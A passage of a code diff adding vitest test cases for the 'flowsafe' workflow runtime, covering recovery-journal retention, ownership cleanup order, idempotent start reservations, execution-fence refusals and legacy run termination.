fixture.journal.values.get('flowsafe:run-owner-recovery:v1'), + ).toEqual(replacement); + expect(await fixture.env.owners.owner('run', 'c-run')).toEqual({ + kind: 'human', + id: 'owner-1', + }); + expect(fixture.journal.alarms.at(-1)).toBeGreaterThan(Date.now()); + expect(outcome).toBeInstanceOf(Error); + }); + + it.each([ + 'strict settlement', + 'approval hook', + 'dispatch discard', + 'ownership settlement', + 'ownership release', + 'completion', + 'journal delete', + ] as const)('retains a terminal journal until the ordered cleanup confirms: %s', async (boundary) => { + const fixture = await preparedFixture(); + const terminal = await fixture.runtime.terminateAsPrincipal( + 'gated', + 'c-run', + OWNER_PRINCIPAL, + OWNER_PRINCIPAL, + ); + expect(terminal.summary.status).toBe('cancelled'); + const failure = new Error('held cleanup boundary'); + const hooks = { + abandonApprovals: vi.fn(async () => {}), + discardScheduleDispatch: vi.fn(async () => {}), + }; + fixture.env.lifecycle = hooks; + if (boundary === 'dispatch discard') { + const workflows = await fixture.storage.getStore('workflows'); + const snapshot = await workflows?.loadWorkflowSnapshot({ + workflowName: 'gated', + runId: 'c-run', + }); + if (!snapshot?.requestContext) + throw new Error('missing terminal snapshot'); + const lifecycle = snapshot.requestContext[ + 'flowsafe.runLifecycle' + ] as Record; + lifecycle.scheduleDispatch = { + scheduleId: 'barrier-schedule', + dispatchId: 'barrier-dispatch', + }; + await workflows?.persistWorkflowSnapshot({ + workflowName: 'gated', + runId: 'c-run', + snapshot, + }); + } + const completion = vi.spyOn(fixture.runtime, 'completeTerminalCleanup'); + const releaseOwner = vi.spyOn(fixture.env.owners, 'release'); + let restore = () => {}; + if (boundary === 'strict settlement') { + const spy = vi + .spyOn(fixture.runtime, 'settleStartExecution') + .mockRejectedValue(failure); + restore = () => spy.mockRestore(); + } + if (boundary === 'approval hook') { + hooks.abandonApprovals.mockRejectedValue(failure); + restore = () => { + hooks.abandonApprovals.mockResolvedValue(); + }; + } + if (boundary === 'dispatch discard') { + hooks.discardScheduleDispatch.mockRejectedValue(failure); + restore = () => { + hooks.discardScheduleDispatch.mockResolvedValue(); + }; + } + if (boundary === 'ownership settlement') { + const spy = vi + .spyOn(fixture.env.owners, 'settleReservation') + .mockRejectedValue(failure); + restore = () => spy.mockRestore(); + } + if (boundary === 'ownership release') { + releaseOwner.mockRejectedValue(failure); + restore = () => releaseOwner.mockRestore(); + } + if (boundary === 'completion') { + const spy = vi + .spyOn(fixture.runtime, 'completeTerminalCleanup') + .mockRejectedValue(failure); + restore = () => spy.mockRestore(); + } + if (boundary === 'journal delete') { + const native = fixture.journal.storage.delete.bind( + fixture.journal.storage, + ); + const spy = vi + .spyOn(fixture.journal.storage, 'delete') + .mockImplementation(async (key) => { + if (key === 'flowsafe:run-owner-recovery:v1') throw failure; + return native(key); + }); + restore = () => spy.mockRestore(); + } + const outcome = await fixture.runner + .alarm() + .catch((error: unknown) => error); + if ( + boundary === 'dispatch discard' || + boundary === 'ownership settlement' || + boundary === 'ownership release' + ) { + expect(await fixture.env.owners.owner('run', 'c-run')).toEqual({ + kind: 'human', + id: 'owner-1', + }); + expect(completion).not.toHaveBeenCalled(); + if (boundary === 'ownership settlement') + expect(hooks.abandonApprovals).not.toHaveBeenCalled(); + if (boundary === 'dispatch discard') + expect(releaseOwner).not.toHaveBeenCalled(); + } + const durable = await fixture.runtime.authoritativeStartState( + 'gated', + 'c-run', + ); + expect(durable).toMatchObject({ + kind: 'result', + summary: { status: 'cancelled' }, + }); + expect( + fixture.journal.values.get('flowsafe:run-owner-recovery:v1'), + ).toEqual(fixture.journalValue); + expect(fixture.journal.alarms.at(-1)).toBeGreaterThan(Date.now()); + if (boundary === 'strict settlement') + expect(hooks.abandonApprovals).not.toHaveBeenCalled(); + if (boundary === 'strict settlement') + expect(outcome).toMatchObject({ status: 503, cause: failure }); + else expect(outcome).toBe(failure); + restore(); + await fixture.runner.alarm(); + expect(fixture.journal.values.has('flowsafe:run-owner-recovery:v1')).toBe( + false, + ); + }); + + it('converges a prepared journal put whose response was lost before admission', async () => { + const fixture = cWorkflowFixture(true); + const put = fixture.journal.storage.put.bind(fixture.journal.storage); + vi.spyOn(fixture.journal.storage, 'put').mockImplementation( + async (key, value) => { + await put(key, value); + if ( + key === 'flowsafe:run-owner-recovery:v1' && + (value as { phase?: string }).phase === 'prepared' + ) + throw new Error('preparation receipt lost'); + }, + ); + const response = await fixture.runner.fetch(post('/runs', C_WORKFLOW_BODY)); + const state = await fixture.runtime.authoritativeStartState( + 'gated', + 'c-run', + ); + expect(state).toMatchObject({ + kind: 'result', + summary: { status: 'suspended' }, + }); + expect(fixture.journal.values.has('flowsafe:run-owner-recovery:v1')).toBe( + false, + ); + expect(response.status).toBe(200); + }); + + it('resets only unreadability stamps when a due deadline observes known pending', async () => { + const fixture = await preparedFixture(); + const snapshot = await fixture.storage.getStore('workflows'); + const selected = await fixture.runtime.authoritativeStartState( + 'gated', + 'c-run', + ); + if (!selected) throw new Error('missing selected state'); + const pending = { + ...selected.snapshot, + status: 'pending' as const, + requestContext: { ...selected.snapshot.requestContext }, + }; + await snapshot?.persistWorkflowSnapshot({ + workflowName: 'gated', + runId: 'c-run', + snapshot: pending, + }); + const record: SuspensionDeadlineRecord = { + version: 1, + workflowId: 'gated', + runId: 'c-run', + entries: [ + { + step: 'gate', + suspendedAt: 1, + resumeCount: 0, + deadlineAt: 1, + attempts: 2, + nextAttemptAt: 2, + unreadableSince: 1, + }, + { + step: 'future', + suspendedAt: 3, + resumeCount: 0, + deadlineAt: Date.now() + 1_000_000, + attempts: 1, + nextAttemptAt: Date.now() + 1_000_000, + unreadableSince: 2, + }, + ], + }; + fixture.journal.values.delete('flowsafe:run-owner-recovery:v1'); + fixture.journal.values.set(SUSPENSION_DEADLINE_STORAGE_KEY, record); + const resume = vi.spyOn(fixture.runtime, 'resume'); + await fixture.runner.alarm(); + expect(fixture.journal.values.get(SUSPENSION_DEADLINE_STORAGE_KEY)).toEqual( + { + ...record, + entries: record.entries.map( + ({ unreadableSince: _stamp, ...entry }) => entry, + ), + }, + ); + expect( + (await fixture.runtime.authoritativeStartState('gated', 'c-run'))?.kind, + ).toBe('initial'); + expect(resume).not.toHaveBeenCalled(); + }); +}); + +describe('FS8 D3 protected replay selected workflow value', () => { + it('pairs the original selected generation with its value after durable replacement', async () => { + const fixture = cWorkflowFixture(true); + expect( + (await fixture.runner.fetch(post('/runs', C_WORKFLOW_BODY))).status, + ).toBe(200); + const workflows = await fixture.storage.getStore('workflows'); + const snapshot = await workflows?.loadWorkflowSnapshot({ + workflowName: 'gated', + runId: 'c-run', + }); + if (!workflows || !snapshot) throw new Error('missing real snapshot'); + await workflows.persistWorkflowSnapshot({ + workflowName: 'gated', + runId: 'c-run', + // The upstream snapshot type narrows results to records; persisted JSON can carry scalars. + snapshot: { + ...snapshot, + status: 'success', + result: 'first-value', + } as unknown as WorkflowRunState, + }); + const originalRead = fixture.runtime.authoritativeStartState.bind( + fixture.runtime, + ); + const first = await originalRead('gated', 'c-run'); + if (!first) throw new Error('missing original generation'); + const read = vi + .spyOn(fixture.runtime, 'authoritativeStartState') + .mockImplementation(async (...args) => { + const selected = await originalRead(...args); + await workflows.persistWorkflowSnapshot({ + workflowName: 'gated', + runId: 'c-run', + snapshot: { + ...snapshot, + status: 'success', + result: 'replacement-value', + requestContext: { + ...snapshot.requestContext, + 'flowsafe.runProvenance': { + ...(snapshot.requestContext?.[ + 'flowsafe.runProvenance' + ] as object), + startToken: 'replacement-generation', + }, + }, + } as unknown as WorkflowRunState, + }); + return selected; + }); + const response = await fixture.runner.fetch( + deploymentIdentityRequest('http://do/runs/gated/c-run?replay=1'), + ); + expect( + ( + await workflows.loadWorkflowSnapshot({ + workflowName: 'gated', + runId: 'c-run', + }) + )?.result, + ).toBe('replacement-value'); + expect(await response.json()).toMatchObject({ + kind: 'result', + execution: { startToken: first.execution.startToken }, + value: { result: 'first-value' }, + }); + expect(read).toHaveBeenCalledOnce(); + }); +}); + +describe('FS8 D3 host activation original claim preflight', () => { + it.each([ + false, + true, + ])('releases only its exact captured claim on a local fence refusal (replacement=%s)', async (replacement) => { + const fixture = cWorkflowFixture(true); + const store = fixture.runtime.startIdempotency; + if (!store || !fixture.env.fence) + throw new Error('missing test authority wiring'); + await fixture.env.fence.seed('open'); + const reserved = await store.reserve({ + key: 'host-key', + owner: { kind: 'human', id: OWNER_PRINCIPAL.id }, + targetKind: 'workflow', + targetId: 'gated', + mintRunId: () => 'c-run', + }); + const claim = await store.claimReservation(reserved.reservation); + if (!claim) throw new Error('test did not win its reservation'); + await fixture.env.fence.transition({ expected: 'open', next: 'draining' }); + if (replacement) { + const native = fixture.env.fence.read.bind(fixture.env.fence); + vi.spyOn(fixture.env.fence, 'read').mockImplementationOnce(async () => { + const reading = await native(); + await store.releaseReservation(claim); + const released = await store.readForAdmission('host-key'); + if (!released) throw new Error('missing released reservation'); + expect(await store.claimReservation(released)).toBeDefined(); + return reading; + }); + } + const response = await fixture.runner.fetch( + post('/runs', { + ...C_WORKFLOW_BODY, + idempotencyKey: 'host-key', + startReservation: claim, + }), + ); + const current = await store.readForAdmission('host-key'); + expect(current?.state).toBe(replacement ? 'started' : 'reserved'); + expect(current?.binding).toEqual({ kind: 'unbound' }); + expect(current?.updatedAt).toBeGreaterThan(claim.updatedAt); + expect(fixture.journal.values.has('flowsafe:run-owner-recovery:v1')).toBe( + false, + ); + expect(fixture.reserve).not.toHaveBeenCalled(); + expect(fixture.start).not.toHaveBeenCalled(); + expect(response.status).toBe(503); + }); +}); + +describe('FS8 D3 host activation managed workflow expectation', () => { + it('rejects an agent role at the same physical workflow generation before B2 or cleanup', async () => { + const fixture = cWorkflowFixture(true); + const put = fixture.journal.storage.put.bind(fixture.journal.storage); + let journal: unknown; + vi.spyOn(fixture.journal.storage, 'put').mockImplementation( + async (key, value) => { + if ( + key === 'flowsafe:run-owner-recovery:v1' && + (value as { phase?: string }).phase === 'prepared' + ) + journal = structuredClone(value); + await put(key, value); + }, + ); + expect( + (await fixture.runner.fetch(post('/runs', C_WORKFLOW_BODY))).status, + ).toBe(200); + const domain = (await fixture.storage.getStore( + 'workflows', + )) as FencedWorkflowsStorageD1; + const original = await domain.loadWorkflowSnapshot({ + workflowName: 'gated', + runId: 'c-run', + }); + if (!original?.requestContext || !journal) + throw new Error('missing actual prepared workflow'); + const prior = original.requestContext['flowsafe.runProvenance'] as Record< + string, + unknown + >; + const snapshot = { + runId: 'c-run', + status: 'pending' as const, + value: {}, + context: {}, + serializedStepGraph: [], + activePaths: [], + activeStepsPath: {}, + suspendedPaths: {}, + resumeLabels: {}, + waitingPaths: {}, + timestamp: 123, + requestContext: { + 'flowsafe.runProvenance': { + ...prior, + initialAdmission: true, + resumeCounts: [], + startIdentity: { + owner: { kind: 'human', id: OWNER_PRINCIPAL.id }, + target: { + kind: 'agent', + id: 'foreign-agent', + threadId: 'foreign-thread', + }, + }, + agentStart: { threaded: true }, + }, + }, + }; + await domain.persistWorkflowSnapshot({ + workflowName: 'gated', + runId: 'c-run', + snapshot, + }); + fixture.journal.values.set('flowsafe:run-owner-recovery:v1', journal); + const native = domain[FENCED_WORKFLOW_STORAGE]; + if (!native) throw new Error('missing actual capability'); + const rawReads = vi.fn(native.readSnapshot.bind(native)); + const terminalize = vi.fn(native.terminalizeInitialAdmission.bind(native)); + Object.defineProperty(domain, FENCED_WORKFLOW_STORAGE, { + value: { + ...native, + readSnapshot: rawReads, + terminalizeInitialAdmission: terminalize, + }, + configurable: true, + }); + const before = await native.readSnapshot({ + workflowId: 'gated', + runId: 'c-run', + }); + const settle = vi.spyOn(fixture.runtime, 'settleStartExecution'); + const response = await fixture.runner.fetch( + deploymentIdentityRequest('http://do/runs/gated/c-run/dispatch-status'), + ); + expect( + await native.readSnapshot({ workflowId: 'gated', runId: 'c-run' }), + ).toEqual(before); + expect( + fixture.journal.values.get('flowsafe:run-owner-recovery:v1'), + ).toEqual(journal); + expect(terminalize).not.toHaveBeenCalled(); + expect(settle).not.toHaveBeenCalled(); + expect(rawReads).toHaveBeenCalledOnce(); + expect(response.status).toBe(503); + }); +}); + +describe('FS8 D3 host activation prepared absence and local zero', () => { + it.each([ + true, + false, + ])('retains a cold prepared workflow journal across same-ID retries after absence (keyed=%s)', async (keyed) => { + const fixture = cWorkflowFixture(true); + const reservations = fixture.runtime.startIdempotency; + if (!reservations) throw new Error('missing reservations'); + let claim: + | import('./start-reservation-contract.js').StartReservationReading + | undefined; + if (keyed) { + const reserved = await reservations.reserve({ + key: 'absent-key', + owner: { kind: 'human', id: OWNER_PRINCIPAL.id }, + targetKind: 'workflow', + targetId: 'gated', + mintRunId: () => 'c-run', + }); + claim = await reservations.claimReservation(reserved.reservation); + if (!claim) throw new Error('missing winning claim'); + } + let journal: unknown; + const put = fixture.journal.storage.put.bind(fixture.journal.storage); + vi.spyOn(fixture.journal.storage, 'put').mockImplementation( + async (key, value) => { + if ( + key === 'flowsafe:run-owner-recovery:v1' && + (value as { phase?: string }).phase === 'prepared' + ) + journal = structuredClone(value); + await put(key, value); + }, + ); + expect( + ( + await fixture.runner.fetch( + post('/runs', { + ...C_WORKFLOW_BODY, + ...(claim + ? { idempotencyKey: claim.key, startReservation: claim } + : {}), + }), + ) + ).status, + ).toBe(200); + const claimed = keyed + ? await reservations.readForAdmission('absent-key') + : undefined; + fixture.journal.values.set('flowsafe:run-owner-recovery:v1', journal); + await testDatabase(fixture.storage) + .prepare( + 'DELETE FROM mastra_workflow_snapshot WHERE workflow_name = ? AND run_id = ?', + ) + .bind('gated', 'c-run') + .run(); + fixture.env.runtime = gatedRuntime(fixture.storage, fixture.env.fence); + const enter = vi + .spyOn(fixture.env.runtime, 'start') + .mockRejectedValue(new Error('unexpected new engine entry')); + const evicted = new TestRunner(fixture.journal.state, fixture.env); + const error = await evicted.alarm().catch((cause: unknown) => cause); + expect( + fixture.journal.values.get('flowsafe:run-owner-recovery:v1'), + ).toEqual(journal); + expect( + await fixture.env.runtime.authoritativeStartState('gated', 'c-run'), + ).toBeNull(); + expect( + keyed ? await reservations.readForAdmission('absent-key') : undefined, + ).toEqual(claimed); + expect(error).toMatchObject({ status: 503 }); + for (let retry = 0; retry < 2; retry++) { + const response = await evicted.fetch( + post('/runs', { + ...C_WORKFLOW_BODY, + ...(claim + ? { idempotencyKey: claim.key, startReservation: claim } + : {}), + }), + ); + expect( + fixture.journal.values.get('flowsafe:run-owner-recovery:v1'), + ).toEqual(journal); + expect(enter).not.toHaveBeenCalled(); + expect(response.status).toBe(503); + } + }); + + async function zeroFixture() { + const env = makeProductionEnv(); + const reservations = newTestStartIdempotency(env.storage); + const app = init( + { storage: env.storage }, + { executionFence: env.fence ?? 'none', startIdempotency: reservations }, + ); + let effects = 0; + app + .createWorkflow({ + id: 'zero', + inputSchema: z.object({}), + outputSchema: z.object({}), + }) + .then( + app.createStep({ + id: 'effect', + inputSchema: z.object({}), + outputSchema: z.object({}), + execute: async () => { + effects++; + return {}; + }, + }), + ) + .commit(); + env.runtime = app.runtime; + if (!env.fence) throw new Error('missing native fence'); + await env.fence.seed('open'); + const domain = (await env.storage.getStore( + 'workflows', + )) as FencedWorkflowsStorageD1; + const native = domain[FENCED_WORKFLOW_STORAGE]; + if (!native) throw new Error('missing native capability'); + let closeOnce = true; + Object.defineProperty(domain, FENCED_WORKFLOW_STORAGE, { + value: { + ...native, + withInitialAdmission: async ( + input: Parameters[0], + create: Parameters[1], + ) => { + if (closeOnce) { + closeOnce = false; + await env.fence?.transition({ expected: 'open', next: 'draining' }); + } + return native.withInitialAdmission(input, create); + }, + }, + configurable: true, + }); + const journal = recoveryStorage(); + const runner = new TestRunner(journal.state, env); + const makeClaim = async () => { + const reserved = await reservations.reserve({ + key: 'zero-key', + owner: { kind: 'human', id: OWNER_PRINCIPAL.id }, + targetKind: 'workflow', + targetId: 'zero', + mintRunId: () => 'zero-run', + }); + const claim = await reservations.claimReservation(reserved.reservation); + if (!claim) throw new Error('missing winning claim'); + return claim; + }; + return { + env, + reservations, + app, + domain, + native, + journal, + runner, + makeClaim, + effects: () => effects, + allowNext: () => { + closeOnce = false; + }, + refuseNext: () => { + closeOnce = true; + }, + }; + } + + it.each([ + true, + false, + ])('clears only a local native validated-zero admission and retries once (keyed=%s)', async (keyed) => { + const { env, reservations, native, journal, runner, makeClaim, effects } = + await zeroFixture(); + if (!env.fence) throw new Error('missing native fence'); + const firstClaim = keyed ? await makeClaim() : undefined; + const first = await runner.fetch( + post('/runs', { + workflowId: 'zero', + runId: 'zero-run', + inputData: {}, + ...(firstClaim + ? { idempotencyKey: firstClaim.key, startReservation: firstClaim } + : {}), + }), + ); + expect( + await native.readSnapshot({ workflowId: 'zero', runId: 'zero-run' }), + ).toBeUndefined(); + expect(journal.values.has('flowsafe:run-owner-recovery:v1')).toBe(false); + expect(await env.owners.owner('run', 'zero-run')).toBeUndefined(); + expect(effects()).toBe(0); + if (keyed) + expect(await reservations.readForAdmission('zero-key')).toMatchObject({ + state: 'reserved', + binding: { kind: 'unbound' }, + }); + expect(first.status).toBe(503); + await env.fence.transition({ expected: 'draining', next: 'open' }); + const nextClaim = keyed ? await makeClaim() : undefined; + const retry = await runner.fetch( + post('/runs', { + workflowId: 'zero', + runId: 'zero-run', + inputData: {}, + ...(nextClaim + ? { idempotencyKey: nextClaim.key, startReservation: nextClaim } + : {}), + }), + ); + expect(effects()).toBe(1); + expect(journal.values.has('flowsafe:run-owner-recovery:v1')).toBe(false); + expect(retry.status).toBe(200); + }); + it.each([ + 'lookalike', + 'serialized', + 'other generation', + 'foreign row', + 'evicted frame', + ] as const)('retains prepared absence without its exact local zero authority: %s', async (mode) => { + const fixture = await zeroFixture(); + const nativeStart = fixture.app.runtime.start.bind(fixture.app.runtime); + let originalFailure: unknown; + let replacementRaw: unknown; + vi.spyOn(fixture.app.runtime, 'start').mockImplementationOnce( + async (...args) => { + try { + return await nativeStart(...args); + } catch (error) { + originalFailure = error; + if (mode === 'other generation') { + await fixture.env.fence?.transition({ + expected: 'draining', + next: 'open', + }); + fixture.refuseNext(); + await nativeStart('zero', { + runId: 'other-zero-run', + inputData: {}, + requestedBy: OWNER_PRINCIPAL.id, + requestedByKind: 'human', + }); + throw new Error('second native zero did not refuse'); + } + if (mode === 'foreign row') { + await fixture.domain.persistWorkflowSnapshot({ + workflowName: 'zero', + runId: 'zero-run', + snapshot: { + runId: 'zero-run', + status: 'success', + result: {}, + value: {}, + context: {}, + serializedStepGraph: [], + activePaths: [], + activeStepsPath: {}, + suspendedPaths: {}, + resumeLabels: {}, + waitingPaths: {}, + timestamp: 1, + requestContext: { + 'flowsafe.runProvenance': { + version: 2, + startToken: 'replacement-generation', + attemptToken: 'replacement-attempt', + resumeCounts: [], + requestedBy: OWNER_PRINCIPAL.id, + requestedByKind: 'human', + startIdentity: { + owner: { kind: 'human', id: OWNER_PRINCIPAL.id }, + target: { kind: 'workflow', id: 'zero' }, + }, + }, + }, + }, + }); + replacementRaw = await fixture.native.readSnapshot({ + workflowId: 'zero', + runId: 'zero-run', + }); + throw error; + } + if (mode === 'lookalike') { + const { ExecutionFencedError } = await import( + './execution-fence.js' + ); + throw new ExecutionFencedError('draining', 'run start'); + } + throw Object.assign( + new Error('serialized refusal'), + JSON.parse( + JSON.stringify({ + status: (error as { status?: number }).status, + reason: (error as { reason?: unknown }).reason, + }), + ), + ); + } + }, + ); + const first = await fixture.runner.fetch( + post('/runs', { workflowId: 'zero', runId: 'zero-run', inputData: {} }), + ); + const journal = structuredClone( + fixture.journal.values.get('flowsafe:run-owner-recovery:v1'), + ); + expect(journal).toMatchObject({ + phase: 'prepared', + execution: { workflowId: 'zero', runId: 'zero-run' }, + }); + expect(fixture.effects()).toBe(0); + if (mode === 'foreign row') + expect( + await fixture.native.readSnapshot({ + workflowId: 'zero', + runId: 'zero-run', + }), + ).toEqual(replacementRaw); + else + expect( + await fixture.native.readSnapshot({ + workflowId: 'zero', + runId: 'zero-run', + }), + ).toBeUndefined(); + expect(first.status).toBe( + mode === 'serialized' || mode === 'evicted frame' ? 500 : 503, + ); + if (mode === 'evicted frame') { + const { isDefinitiveInitialAdmissionRefusal } = await import( + './initial-admission-refusal.js' + ); + expect( + isDefinitiveInitialAdmissionRefusal( + originalFailure, + ( + journal as { + execution: import('./execution-admission.js').D1RunExecutionIdentity; + } + ).execution, + ), + ).toBe(true); + const error = await fixture.runner + .alarm() + .catch((cause: unknown) => cause); + expect( + fixture.journal.values.get('flowsafe:run-owner-recovery:v1'), + ).toEqual(journal); + expect(error).toMatchObject({ status: 503 }); + } + await fixture.env.fence?.transition({ expected: 'draining', next: 'open' }); + const retry = await fixture.runner.fetch( + post('/runs', { workflowId: 'zero', runId: 'zero-run', inputData: {} }), + ); + expect( + fixture.journal.values.get('flowsafe:run-owner-recovery:v1'), + ).toEqual(journal); + expect(fixture.effects()).toBe(0); + expect(retry.status).toBe(503); + }); + it('retains a paid unknown outcome when a fence lookalike follows real engine entry', async () => { + const fixture = await zeroFixture(); + fixture.allowNext(); + const nativeStart = fixture.app.runtime.start.bind(fixture.app.runtime); + vi.spyOn(fixture.app.runtime, 'start').mockImplementationOnce( + async (...args) => { + await nativeStart(...args); + await testDatabase(fixture.env.storage) + .prepare( + 'DELETE FROM mastra_workflow_snapshot WHERE workflow_name = ? AND run_id = ?', + ) + .bind('zero', 'zero-run') + .run(); + const { ExecutionFencedError } = await import('./execution-fence.js'); + throw new ExecutionFencedError('draining', 'run start'); + }, + ); + const response = await fixture.runner.fetch( + post('/runs', { workflowId: 'zero', runId: 'zero-run', inputData: {} }), + ); + expect(fixture.effects()).toBe(1); + expect( + await fixture.native.readSnapshot({ + workflowId: 'zero', + runId: 'zero-run', + }), + ).toBeUndefined(); + expect( + fixture.journal.values.get('flowsafe:run-owner-recovery:v1'), + ).toMatchObject({ + phase: 'prepared', + execution: { workflowId: 'zero', runId: 'zero-run' }, + }); + expect(response.status).toBe(503); + }); +}); + +describe('FS8 D3 host R1 ordinary legacy workflow lifecycle', () => { + it.each([ + ['v1', 'terminate'], + ['absent', 'terminate'], + ['v1', 'deadline'], + ['absent', 'deadline'], + ] as const)('converges actual Core cleanup and replay with retained key (%s %s)', async (version, operation) => { + const fixture = await hostR1WorkflowFixture('custom-null'); + const runId = 'legacy-run'; + const reserved = await fixture.reservations.reserve({ + key: 'retained-legacy-key', + owner: { kind: 'human', id: OWNER_PRINCIPAL.id }, + targetKind: 'workflow', + targetId: 'host-r1', + mintRunId: () => runId, + }); + const claim = await fixture.reservations.claimReservation( + reserved.reservation, + ); + if (!claim) throw new Error('missing retained claim'); + expect( + ( + await fixture.runner.fetch( + post('/runs', { + workflowId: 'host-r1', + runId, + inputData: {}, + deadlineMs: 0, + idempotencyKey: claim.key, + startReservation: claim, + }), + ) + ).status, + ).toBe(200); + const snapshot = await fixture.workflows.loadWorkflowSnapshot({ + workflowName: 'host-r1', + runId, + }); + if (!snapshot?.requestContext) + throw new Error('missing actual Core snapshot'); + if (version === 'v1') + snapshot.requestContext['flowsafe.runProvenance'] = { + version: 1, + attemptToken: 'host-r1-legacy-leg', + requestedBy: OWNER_PRINCIPAL.id, + requestedByKind: 'human', + resumeCounts: [], + }; + else delete snapshot.requestContext['flowsafe.runProvenance']; + await fixture.workflows.persistWorkflowSnapshot({ + workflowName: 'host-r1', + runId, + snapshot, + }); + const bound = await fixture.reservations.readForAdmission(claim.key); + const lifecycle = snapshot.requestContext['flowsafe.runLifecycle'] as { + revision: number; + deadlineAt: number; + }; + const events: string[] = []; + const approvals = vi.fn(async () => { + events.push('approvals'); + }); + fixture.env.lifecycle = { abandonApprovals: approvals }; + const release = fixture.owners.release.bind(fixture.owners); + vi.spyOn(fixture.owners, 'release').mockImplementation(async (...args) => { + events.push('owner'); + return release(...args); + }); + const complete = fixture.app.runtime.completeTerminalCleanup.bind( + fixture.app.runtime, + ); + vi.spyOn(fixture.app.runtime, 'completeTerminalCleanup').mockImplementation( + async (...args) => { + events.push('completion'); + return complete(...args); + }, + ); + const settle = vi.spyOn(fixture.app.runtime, 'settleStartExecution'); + const b2 = vi.spyOn(fixture.app.runtime, 'recoverStartAttempt'); + const body = + operation === 'deadline' + ? { + expectedRevision: lifecycle.revision, + expectedDeadlineAt: lifecycle.deadlineAt, + } + : {}; + const principal: ExecutionPrincipal = + operation === 'deadline' + ? { + kind: 'system', + id: 'maintenance', + purpose: 'run-deadline-maintenance', + } + : OWNER_PRINCIPAL; + const first = await fixture.runner.fetch( + post(`/runs/host-r1/${runId}/${operation}`, body, principal), + ); + expect(await fixture.owners.owner('run', runId)).toBeUndefined(); + expect(await fixture.reservations.readForAdmission(claim.key)).toEqual( + bound, + ); + expect(events).toEqual(['approvals', 'owner', 'completion']); + expect(settle).not.toHaveBeenCalled(); + expect(b2).not.toHaveBeenCalled(); + expect(first.status).toBe(200); + const terminal = await fixture.workflows.loadWorkflowSnapshot({ + workflowName: 'host-r1', + runId, + }); + expect(terminal).toMatchObject({ + status: operation === 'deadline' ? 'timed_out' : 'cancelled', + requestContext: { + 'flowsafe.runLifecycle': { + terminal: { cleanupCompletedAt: expect.any(Number) }, + }, + }, + }); + const bytes = JSON.stringify(terminal); + const replay = await fixture.runner.fetch( + post( + `/runs/host-r1/${runId}/${operation === 'deadline' ? 'deadline' : 'terminate-replay'}`, + body, + principal, + ), + ); + expect( + JSON.stringify( + await fixture.workflows.loadWorkflowSnapshot({ + workflowName: 'host-r1', + runId, + }), + ), + ).toBe(bytes); + expect(await fixture.reservations.readForAdmission(claim.key)).toEqual( + bound, + ); + expect(events).toEqual(['approvals', 'owner', 'completion']); + expect(fixture.effects()).toBe(1); + expect(replay.status).toBe(200); + }); + + it.each([ + 'v1', + 'absent', + ] as const)('retains actual legacy ownership after hook failure and completes one retry (%s)', async (version) => { + const fixture = await hostR1WorkflowFixture('custom-null'); + expect( + ( + await fixture.runner.fetch( + post('/runs', { + workflowId: 'host-r1', + runId: 'legacy-retry', + inputData: {}, + }), + ) + ).status, + ).toBe(200); + const snapshot = await fixture.workflows.loadWorkflowSnapshot({ + workflowName: 'host-r1', + runId: 'legacy-retry', + }); + if (!snapshot?.requestContext) throw new Error('missing Core snapshot'); + if (version === 'v1') + snapshot.requestContext['flowsafe.runProvenance'] = { + version: 1, + attemptToken: 'host-r1-legacy-leg', + requestedBy: OWNER_PRINCIPAL.id, + requestedByKind: 'human', + resumeCounts: [], + }; + else delete snapshot.requestContext['flowsafe.runProvenance']; + await fixture.workflows.persistWorkflowSnapshot({ + workflowName: 'host-r1', + runId: 'legacy-retry', + snapshot, + }); + const approvals = vi + .fn(async () => {}) + .mockRejectedValueOnce(new Error('approval receipt lost')); + fixture.env.lifecycle = { abandonApprovals: approvals }; + const complete = vi.spyOn(fixture.app.runtime, 'completeTerminalCleanup'); + const first = await fixture.runner.fetch( + post('/runs/host-r1/legacy-retry/terminate', {}), + ); + expect(await fixture.owners.owner('run', 'legacy-retry')).toEqual({ + kind: 'human', + id: OWNER_PRINCIPAL.id, + }); + expect(complete).not.toHaveBeenCalled(); + expect( + ( + await fixture.workflows.loadWorkflowSnapshot({ + workflowName: 'host-r1', + runId: 'legacy-retry', + }) + )?.status, + ).toBe('cancelled'); + expect(first.status).toBe(500); + const retry = await fixture.runner.fetch( + post('/runs/host-r1/legacy-retry/terminate-replay', {}), + ); + expect(await fixture.owners.owner('run', 'legacy-retry')).toBeUndefined(); + expect(approvals).toHaveBeenCalledTimes(2); + expect(complete).toHaveBeenCalledOnce(); + expect(fixture.effects()).toBe(1); + expect(retry.status).toBe(200); + }); +}); + +describe('FS8 D3 host R1 workflow unfenced recovery', () => { + it.each([ + ['custom-null', 'missing'], + ['custom-null', 'pending'], + ['custom-null', 'suspended'], + ['actual-prefix', 'missing'], + ['actual-prefix', 'pending'], + ['actual-prefix', 'suspended'], + ] as const)('retains keyed journal and ownership before missing-store refusal (%s %s)', async (mode, status) => { + const fixture = await hostR1WorkflowFixture(mode, false); + const runId = 'unfenced-run'; + const execution = { + tablePrefix: mode === 'custom-null' ? null : 'host_r1_', + workflowId: 'host-r1', + runId, + startToken: 'unfenced-generation', + }; + const reserved = await fixture.reservations.reserve({ + key: 'unfenced-key', + owner: { kind: 'human' as const, id: OWNER_PRINCIPAL.id }, + targetKind: 'workflow', + targetId: 'host-r1', + mintRunId: () => runId, + }); + const claim = await fixture.reservations.claimReservation( + reserved.reservation, + ); + if (!claim) throw new Error('missing claim'); + await fixture.reservations.bindPreparedStart(claim, { + ...execution, + owner: { kind: 'human' as const, id: OWNER_PRINCIPAL.id }, + target: { kind: 'workflow', id: 'host-r1' }, + }); + const journal = { + version: 2, + phase: 'prepared-unfenced', + workflowId: 'host-r1', + runId, + token: 'unfenced-attempt', + owner: { kind: 'human' as const, id: OWNER_PRINCIPAL.id }, + execution, + startReservation: claim, + }; + fixture.journal.values.set('flowsafe:run-owner-recovery:v1', journal); + await fixture.owners.reserveAll( + [{ kind: 'run', resourceId: runId }], + journal.owner, + journal.token, + ); + if (status !== 'missing') + await fixture.workflows.persistWorkflowSnapshot({ + workflowName: 'host-r1', + runId, + snapshot: { + runId, + status, + value: {}, + context: {}, + serializedStepGraph: [], + activePaths: [], + activeStepsPath: {}, + suspendedPaths: {}, + resumeLabels: {}, + waitingPaths: {}, + timestamp: 1, + requestContext: { + 'flowsafe.runProvenance': { + version: 2, + startToken: execution.startToken, + attemptToken: journal.token, + resumeCounts: [], + startIdentity: { + owner: journal.owner, + target: { kind: 'workflow', id: 'host-r1' }, + }, + }, + }, + }, + }); + const before = await fixture.workflows.loadWorkflowSnapshot({ + workflowName: 'host-r1', + runId, + }); + const bound = await 